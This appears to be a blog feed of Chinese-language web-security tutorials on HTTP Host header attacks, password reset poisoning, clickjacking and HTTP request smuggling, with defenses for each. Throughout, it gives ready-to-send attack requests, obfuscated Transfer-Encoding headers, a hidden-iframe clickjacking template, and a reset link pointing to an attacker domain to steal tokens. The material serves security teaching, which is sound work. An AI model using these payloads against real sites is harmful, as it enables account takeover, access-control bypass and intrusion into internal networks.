有时,即使你提供了一个意外的 Host 头,你仍然可以访问目标网站。这可能有很多原因。例如,服务器有时设置了默认或回退选项,以处理无法识别的域名请求。如果你的目标网站碰巧是默认的,那你就走运了。在这种情况下,你可以开始研究应用程序对 Host 头做了什么,以及这种行为是否可利用。

另一方面,由于 Host 头是网站工作的基本部分,篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处,从而响应 "Invalid Host header" 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下,你应该继续尝试下面概述的一些技术。

检查是否存在验证缺陷

你可能会发现你的请求由于某种安全措施而被阻止,而不是收到一个 "Invalid Host header" 响应。例如,一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。

你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如,一些解析算法可能会忽略主机头中的端口,这意味着只有域名被验证。只要你提供一个非数字端口,保持域名不变,就可以确保你的请求到达目标应用程序,同时可以通过端口注入有害负载。

GET /example HTTP/1.1
Host: vulnerable-website.com:bad-stuff-here

某些网站的验证逻辑可能是允许任意子域。在这种情况下,你可以通过注册任意子域名来完全绕过验证,该域名以白名单中域名的相同字符串结尾:

GET /example HTTP/1.1
Host: notvulnerable-website.com

或者,你可以利用已经泄露的不安全的子域:

GET /example HTTP/1.1
Host: hacked-subdomain.vulnerable-website.com

有关常见域名验证缺陷的进一步示例,请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。

发送不明确的请求

验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中,甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异,你可以发出一个模棱两可的请求。

以下是几个示例,说明如何创建模棱两可的请求。

注入重复的 Host 头

一种可能的方法是尝试添加重复的 Host 头。诚然,这通常只会导致你的请求被阻止。但是,由于浏览器不太可能发送这样的请求,你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下,你可能会发现一些有趣的行为怪癖。

不同的系统和技术将以不同的方式处理这种情况,但具体使用哪个 Host 头可能会存在差异,你可以利用这些差异。考虑以下请求:

GET /example HTTP/1.1
Host: vulnerable-website.com
Host: bad-stuff-here

假设转发服务优先使用第一个标头,但是后端服务器优先使用最后一个标头。在这种情况下,你可以使用第一个报头来确保你的请求被路由到预期的目标,并使用第二个报头将你的有效负载传递到服务端代码中。

提供一个绝对的 URL 地址

虽然请求行通常是指定请求域上的相对路径,但许多服务器也被配置为理解绝对 URL 地址的请求。

同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言,在路由请求时,应优先考虑请求行,但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。

GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here

请注意,你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL,服务器的行为有时会有所不同。

添加 line wrapping

你还可以给 HTTP 头添加空格缩进,从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行,因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。

由于对该场景的处理极不一致,处理你的请求的不同系统之间通常会存在差异。考虑以下请求:

GET /example HTTP/1.1
 Host: bad-stuff-here
Host: vulnerable-website.com

网站可能会阻止具有多个 Host 标头的请求,但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头,则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格,并在出现重复的情况下优先处理第一个标头,这时你就可以通过 "wrapped" Host 头传递任意值。

其他技术

这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如,你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。

注入覆盖 Host 的标头

即使不能使用不明确的请求重写 Host 头,也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载,这些标头的设计就是为了达到这个目的。

正如我们已经讨论过的,网站通常是通过某种中介系统访问的,比如负载均衡器或反向代理。在这种架构中,后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。

为了解决这个问题,前端服务器(转发服务)可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此,当 X-Forwarded-Host 存在时,许多框架会引用它。即使没有前端使用此标头,也可以观察到这种行为。

你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。

GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: bad-stuff-here

尽管 X-Forwarded-Host 是此行为的实际标准,你可能也会遇到其他具有类似用途的标头,包括:

  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

从安全角度来看,需要注意的是,有些网站,甚至可能是你自己的网站,无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中,这些报头中的一个或多个是默认启用的。

如何利用 HTTP Host 头

一旦确定可以向目标应用程序传递任意主机名,就可以开始寻找利用它的方法。

在本节中,我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。

  • 密码重置中毒
  • Web 缓存中毒
  • 利用典型的服务器端漏洞
  • 绕过身份验证
  • 虚拟主机暴力破解
  • 基于路由的 SSRF

密码重置中毒

攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。

通过 Host 头的 Web 缓存中毒

在探测潜在的 Host 头攻击时,你经常会遇到看似易受攻击但并不能直接利用的情况。例如,你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中,甚至直接用于脚本导入。反射的客户端漏洞(例如 XSS )由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。

但是,如果目标使用了 web 缓存,则可以通过缓存向其他用户提供中毒响应,将这个无用的、反射的漏洞转变为危险的存储漏洞。

要构建 web 缓存中毒攻击,需要从服务器获取反映已注入负载的响应。不仅如此,你还需要找到其他用户请求也同时使用的缓存键。如果成功,下一步是缓存此恶意响应。然后,它将被提供给任何试图访问受影响页面的用户。

独立缓存通常在缓存键中包含 Host 头,因此这种方法通常在集成的应用程序级缓存上最有效。也就是说,前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。

Web 缓存中毒有一个独立的专题讨论。

利用典型的服务端漏洞

每个 HTTP 头都是利用典型服务端漏洞的潜在载体,Host 头也不例外。例如,你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中,这可能是可利用的。

访问受限功能

某些网站只允许内部用户访问某些功能。但是,这些网站的访问控制可能会做出错误的假设,允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。

暴力破解使用虚拟主机的内部网站

公司有时会犯这样的错误:在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址,因此仅通过查看 DNS 记录无法检测到这种情况:

www.example.com:12.34.56.78
intranet.example.com:10.0.0.132

在某些情况下,内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此,攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机,前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名,比如信息泄漏,他们就可以直接发起请求。否则,他们只能使用诸如 Burp intruiter 这样的工具,通过候选子域的简单单词表对虚拟主机进行暴力破解。

基于路由的 SSRF

有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 "Host header SSRF attacks" 。

经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑,该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面,基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。

尽管这些组件部署的目的不同,但基本上,它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置,转发未验证 Host 头的请求,它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。

这些系统是很好的目标,它们处于一个特权网络位置,这使它们可以直接从公共网络接收请求,同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体,有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。

你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域,并且随后从目标服务器或其他路径内的系统收到了 DNS 查询,则表明你可以将请求路由到任意域。

在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后,下一步是查看能否利用此行为访问内部系统。为此,你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外,你还可以扫描属于该公司的主机名,以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了,你仍然可以通过简单地强制使用标准私有 IP 范围(例如 192.168.0.0/16 )来识别有效的 IP 地址。

通过格式错误的请求行进行 SSRF

自定义代理有时无法正确地验证请求行,这可能会使你提供异常的、格式错误的输入,从而带来不幸的结果。

例如,反向代理可能从请求行获取路径,然后加上了前缀 http://backend-server,并将请求路由到上游 URL 。如果路径以 / 开头,这没有问题,但如果以 @ 开头呢?

GET @private-intranet/example HTTP/1.1

此时,上游的 URL 将是 http://backend-server@private-intranet/example,大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server


Password reset poisoning

密码重置中毒是一种技术,攻击者可以利用该技术来操纵易受攻击的网站,以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌,并最终危害他们的帐户。

密码重置是如何工作的

几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法,其中一个最常见的方法是:

  1. 用户输入用户名或电子邮件地址,然后提交密码重置请求。
  2. 网站检查该用户是否存在,然后生成一个临时的、唯一的、高熵的 token 令牌,并在后端将该令牌与用户的帐户相关联。
  3. 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中,如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
  4. 当用户访问此 URL 时,网站会检查所提供的 token 令牌是否有效,并使用它来确定要重置的帐户。如果一切正常,用户就可以设置新密码了。最后,token 令牌被销毁。

与其他一些方法相比,这个过程足够简单并且相对安全。然而,它的安全性依赖于这样一个前提:只有目标用户才能访问他们的电子邮件收件箱,从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。

如何构造一个密码重置中毒攻击

如果发送给用户的 URL 是基于可控制的输入(例如 Host 头)动态生成的,则可以构造如下所示的密码重置中毒攻击:

  1. 攻击者根据需要获取受害者的电子邮件地址或用户名,并代表受害者提交密码重置请求,但是这个请求被修改了 Host 头,以指向他们控制的域。我们假设使用的是 evil-user.net
  2. 受害者收到了网站发送的真实的密码重置电子邮件,其中包含一个重置密码的链接,以及与他们的帐户相关联的 token 令牌。但是,URL 中的域名指向了攻击者的服务器:https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
  3. 如果受害者点击了此链接,则密码重置的 token 令牌将被传递到攻击者的服务器。
  4. 攻击者现在可以访问网站的真实 URL ,并使用盗取的受害者的 token 令牌,将用户的密码重置为自己的密码,然后就可以登录到用户的帐户了。

在真正的攻击中,攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。

即使不能控制密码重置的链接,有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意,电子邮件客户端通常不执行 JavaScript ,但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。

公众号

查看原文

赞 3 收藏 2 评论 0

rife 发布了文章 · 3月5日

Web 安全 之 Clickjacking

Clickjacking ( UI redressing )

在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。

什么是点击劫持

点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。

例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。

clickjacking

针对 CSRF 攻击的防御措施通常是使用 CSRF token(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token 缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token 也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe 中。

如何构造一个基本的点击劫持攻击

点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe 嵌入并隐藏。使用样式标签和参数的示例如下:

<head>
  <style>
    #target_website {
      position:relative;
      width:128px;
      height:128px;
      opacity:0.00001;
      z-index:2;
      }
    #decoy_website {
      position:absolute;
      width:300px;
      height:400px;
      z-index:1;
      }
  </style>
</head>
...
<body>
  <div id="decoy_website">
  ...decoy web content here...
  </div>
  <iframe id="target_website" data-original="https://vulnerable-website.com">
  </iframe>
</body>

目标网站 iframe 被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index 决定了 iframe 和网站图层的堆叠顺序。透明度被设置为零,因此 iframe 内容对用户是透明的。浏览器可能会基于 iframe 透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。

预填写输入表单

一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。

Frame 拦截脚本

只要网站可以被 frame ,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame 的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame 拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为:

  • 检查并强制当前窗口是主窗口或顶部窗口
  • 使所有 frame 可见。
  • 阻止点击可不见的 frame
  • 拦截并标记对用户的潜在点击劫持攻击。

Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframesandbox 属性去规避 frame 拦截。当 iframesandbox 设置为 allow-formsallow-scripts,且 allow-top-navigation 被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口:

<iframe id="victim_website" data-original="https://victim-website.com" sandbox="allow-forms"></iframe>

iframeallow-formsallow-scripts 被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。

结合使用点击劫持与 DOM XSS 攻击

到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe 的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。

多步骤点击劫持

攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe ,这也需要相当的精确性,攻击者必须非常小心。

如何防御点击劫持攻击

我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe 的使用并减轻点击劫持的风险。

点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe 组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-OptionsContent Security Policy

X-Frame-Options

X-Frame-Options 最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options 头为网站所有者提供了对 iframe 使用的控制(就是说第三方网站不能随意的使用 iframe 嵌入你控制的网站),比如你可以使用 deny 直接拒绝所有 iframe 引用你的网站:

X-Frame-Options: deny

或者使用 sameorigin 限制为只有同源网站可以引用:

X-Frame-Options: sameorigin

或者使用 allow-from 指定白名单:

X-Frame-Options: allow-from https://normal-website.com

X-Frame-Options 在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from)。然而,作为多层防御策略中的一部分,其与 Content Security Policy 结合使用时,可以有效地防止点击劫持攻击。

Content Security Policy

Content Security Policy (CSP) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP 通常是由 web 服务作为响应头返回,格式为:

Content-Security-Policy: policy

其中的 policy 是一个由分号分隔的策略指令字符串。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。

有关点击劫持的防御,建议在 Content-Security-Policy 中增加 frame-ancestors 策略。

  • frame-ancestors 'none' 类似于 X-Frame-Options: deny ,表示拒绝所有 iframe 引用。
  • frame-ancestors 'self' 类似于 X-Frame-Options: sameorigin ,表示只允许同源引用。

示例:

Content-Security-Policy: frame-ancestors 'self';

或者指定网站白名单:

Content-Security-Policy: frame-ancestors normal-website.com;

为了有效地防御点击劫持和 XSS 攻击,CSP 需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。

持续更新中,点击即可查看 Web 安全系列文章

查看原文

赞 3 收藏 3 评论 0

rife 发布了文章 · 3月4日

Web 安全 之 HTTP request smuggling

HTTP request smuggling

在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。

什么是 HTTP 请求走私

HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

request smuggling

HTTP 请求走私到底发生了什么

现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务,这些服务在链路上起到了一个转发请求给后端服务器的作用,因为位置位于后端服务器的前面,所以本文把他们称为前端服务器。

当前端服务器(转发服务)将 HTTP 请求转发给后端服务器时,它通常会通过与后端服务器之间的同一个网络连接发送多个请求,因为这样做更加高效。协议非常简单:HTTP 请求被一个接一个地发送,接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置,如下图所示:
http flow

在这种情况下,前端服务器(转发服务)与后端系统必须就请求的边界达成一致。否则,攻击者可能会发送一个模棱两可的请求,该请求被前端服务器(转发服务)与后端系统以不同的方式解析:

http flow with smuggling

如上图所示,攻击者使上一个请求的一部分被后端服务器解析为下一个请求的开始,这时就会干扰应用程序处理该请求的方式。这就是请求走私攻击,其可能会造成毁灭性的后果。

HTTP 请求走私漏洞是怎么产生的

绝大多数 HTTP 请求走私漏洞的出现是因为 HTTP 规范提供了两种不同的方法来指定请求的结束位置:Content-Length 头和 Transfer-Encoding 头。

Content-Length 头很简单,直接以字节为单位指定消息体的长度。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

Transfer-Encoding 头则可以声明消息体使用了 chunked 编码,就是消息体被拆分成了一个或多个分块传输,每个分块的开头是当前分块大小(以十六进制表示),后面紧跟着 \r\n,然后是分块内容,后面也是 \r\n。消息的终止分块也是同样的格式,只是其长度为零。例如:

POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

由于 HTTP 规范提供了两种不同的方法来指定 HTTP 消息的长度,因此单个消息中完全可以同时使用这两种方法,从而使它们相互冲突。HTTP 规范为了避免这种歧义,其声明如果 Content-LengthTransfer-Encoding 同时存在,则 Content-Length 应该被忽略。当只有一个服务运行时,这种歧义似乎可以避免,但是当多个服务被连接在一起时,这种歧义就无法避免了。在这种情况下,出现问题有两个原因:

  • 某些服务器不支持请求中的 Transfer-Encoding 头。
  • 某些服务器虽然支持 Transfer-Encoding 头,但是可以通过某种方式进行混淆,以诱导不处理此标头。

如果前端服务器(转发服务)和后端服务器处理 Transfer-Encoding 的行为不同,则它们可能在连续请求之间的边界上存在分歧,从而导致请求走私漏洞。

如何进行 HTTP 请求走私攻击

请求走私攻击需要在 HTTP 请求头中同时使用 Content-LengthTransfer-Encoding,以使前端服务器(转发服务)和后端服务器以不同的方式处理该请求。具体的执行方式取决于两台服务器的行为:

  • CL.TE:前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。
  • TE.CL:前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。
  • TE.TE:前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

CL.TE 漏洞

前端服务器(转发服务)使用 Content-Length 头,而后端服务器使用 Transfer-Encoding 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

前端服务器(转发服务)使用 Content-Length 确定这个请求体的长度是 13 个字节,直到 SMUGGLED 的结尾。然后请求被转发给了后端服务器。

后端服务器使用 Transfer-Encoding ,把请求体当成是分块的,然后处理第一个分块,刚好又是长度为零的终止分块,因此直接认为消息结束了,而后面的 SMUGGLED 将不予处理,并将其视为下一个请求的开始。

TE.CL 漏洞

前端服务器(转发服务)使用 Transfer-Encoding 头,而后端服务器使用 Content-Length 头。我们可以构造一个简单的 HTTP 请求走私攻击,如下所示:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

注意:上面的 0 后面还有 \r\n\r\n

前端服务器(转发服务)使用 Transfer-Encoding 将消息体当作分块编码,第一个分块的长度是 8 个字节,内容是 SMUGGLED,第二个分块的长度是 0 ,也就是终止分块,所以这个请求到这里终止,然后被转发给了后端服务。

后端服务使用 Content-Length ,认为消息体只有 3 个字节,也就是 8\r\n,而剩下的部分将不会处理,并视为下一个请求的开始。

TE.TE 混淆 TE 头

前端服务器(转发服务)和后端服务器都使用 Transfer-Encoding 头,但是可以通过某种方式混淆标头来诱导其中一个服务器不对其进行处理。

混淆 Transfer-Encoding 头的方式可能无穷无尽。例如:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

这些技术中的每一种都与 HTTP 规范有细微的不同。实现协议规范的实际代码很少以绝对的精度遵守协议规范,并且不同的实现通常会容忍与协议规范的不同变化。要找到 TE.TE 漏洞,必须找到 Transfer-Encoding 标头的某种变体,以便前端服务器(转发服务)或后端服务器其中之一正常处理,而另外一个服务器则将其忽略。

根据可以混淆诱导不处理 Transfer-Encoding 的是前端服务器(转发服务)还是后端服务,而后的攻击方式则与 CL.TETE.CL 漏洞相同。

如何防御 HTTP 请求走私漏洞

当前端服务器(转发服务)通过同一个网络连接将多个请求转发给后端服务器,且前端服务器(转发服务)与后端服务器对请求边界存在不一致的判定时,就会出现 HTTP 请求走私漏洞。防御 HTTP 请求走私漏洞的一些通用方法如下:

  • 禁用到后端服务器连接的重用,以便每个请求都通过单独的网络连接发送。
  • 对后端服务器连接使用 HTTP/2 ,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器(转发服务)和后端服务器使用完全相同的 Web 软件,以便它们就请求之间的界限达成一致。

在某些情况下,可以通过使前端服务器(转发服务)规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。然而这种方法比上面的通用方法更容易出错。


查找 HTTP 请求走私漏洞

在本节中,我们将介绍用于查找 HTTP 请求走私漏洞的不同技术。

计时技术

检测 HTTP 请求走私漏洞的最普遍有效的方法就是计时技术。发送请求,如果存在漏洞,则应用程序的响应会出现时间延迟。

使用计时技术查找 CL.TE 漏洞

如果应用存在 CL.TE 漏洞,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

前端服务器(转发服务)使用 Content-Length 认为消息体只有 4 个字节,即 1\r\nA,因此后面的 X 被忽略了,然后把这个请求转发给后端。而后端服务使用 Transfer-Encoding 则会一直等待终止分块 0\r\n 。这就会导致明显的响应延迟。

使用计时技术查找 TE.CL 漏洞

如果应用存在 TE.CL 漏洞,那么发送如下请求通常会导致时间延迟:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

前端服务器(转发服务)使用 Transfer-Encoding,由于第一个分块就是 0\r\n 终止分块,因此后面的 X 直接被忽略了,然后把这个请求转发给后端。而后端服务使用 Content-Length 则会一直等到后续 6 个字节的内容。这就会导致明显的延迟。

注意:如果应用程序易受 CL.TE 漏洞的攻击,则基于时间的 TE.CL 漏洞测试可能会干扰其他应用程序用户。因此,为了隐蔽并尽量减少干扰,你应该先进行 CL.TE 测试,只有在失败了之后再进行 TE.CL 测试。

使用差异响应确认 HTTP 请求走私漏洞

当检测到可能的请求走私漏洞时,可以通过利用该漏洞触发应用程序响应内容的差异来获取该漏洞进一步的证据。这包括连续向应用程序发送两个请求:

  • 一个攻击请求,旨在干扰下一个请求的处理。
  • 一个正常请求。

如果对正常请求的响应包含预期的干扰,则漏洞被确认。

例如,假设正常请求如下:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

这个请求通常会收到状态码为 200 的 HTTP 响应,响应内容包含一些搜索结果。

攻击请求则取决于请求走私是 CL.TE 还是 TE.CL

使用差异响应确认 CL.TE 漏洞

为了确认 CL.TE 漏洞,你可以发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=
0

GET /404 HTTP/1.1
Foo: x

如果攻击成功,则最后两行会被后端服务视为下一个请求的开头。这将导致紧接着的一个正常的请求变成了如下所示:

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

使用差异响应确认 TE.CL 漏洞

为了确认 TE.CL 漏洞,你可以发送如下攻击请求:

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

如果攻击成功,则后端服务器将从 GET / 404 以后的所有内容都视为属于收到的下一个请求。这将会导致随后的正常请求变为:

GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

x=
0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

由于这个请求的 URL 现在是一个无效的地址,因此服务器将会作出 404 的响应,这表明攻击请求确实产生了干扰。

注意,当试图通过干扰其他请求来确认请求走私漏洞时,应记住一些重要的注意事项:

  • “攻击”请求和“正常”请求应该使用不同的网络连接发送到服务器。通过同一个连接发送两个请求不会证明该漏洞存在。
  • “攻击”请求和“正常”请求应尽可能使用相同的URL和参数名。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数会增加请求被同一个后端服务器处理的可能性,这对于攻击起作用至关重要。
  • 当测试“正常”请求以检测来自“攻击”请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括来自其他用户的请求)处于竞争状态。您应该在“攻击”请求之后立即发送“正常”请求。如果应用程序正忙,则可能需要执行多次尝试来确认该漏洞。
  • 在某些应用中,前端服务器充当负载均衡器,根据某种负载均衡算法将请求转发到不同的后端系统。如果您的“攻击”和“正常”请求被转发到不同的后端系统,则攻击将失败。这是您可能需要多次尝试才能确认漏洞的另一个原因。
  • 如果您的攻击成功地干扰了后续请求,但这不是您为检测干扰而发送的“正常”请求,那么这意味着另一个应用程序用户受到了您的攻击的影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,您应该谨慎行事。

利用 HTTP 请求走私漏洞

在本节中,我们将描述 HTTP 请求走私漏洞的几种利用方法,这也取决于应用程序的预期功能和其他行为。

利用 HTTP 请求走私漏洞绕过前端服务器(转发服务)安全控制

在某些应用程序中,前端服务器(转发服务)不仅用来转发请求,也用来实现了一些安全控制,以决定单个请求能否被转发到后端处理,而后端服务认为接受到的所有请求都已经通过了安全验证。

假设,某个应用程序使用前端服务器(转发服务)来做访问控制,只有当用户被授权访问的请求才会被转发给后端服务器,后端服务器接受的所有请求都无需进一步检查。在这种情况下,可以使用 HTTP 请求走私漏洞绕过访问控制,将请求走私到后端服务器。

假设当前用户可以访问 /home ,但不能访问 /admin 。他们可以使用以下请求走私攻击绕过此限制:

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
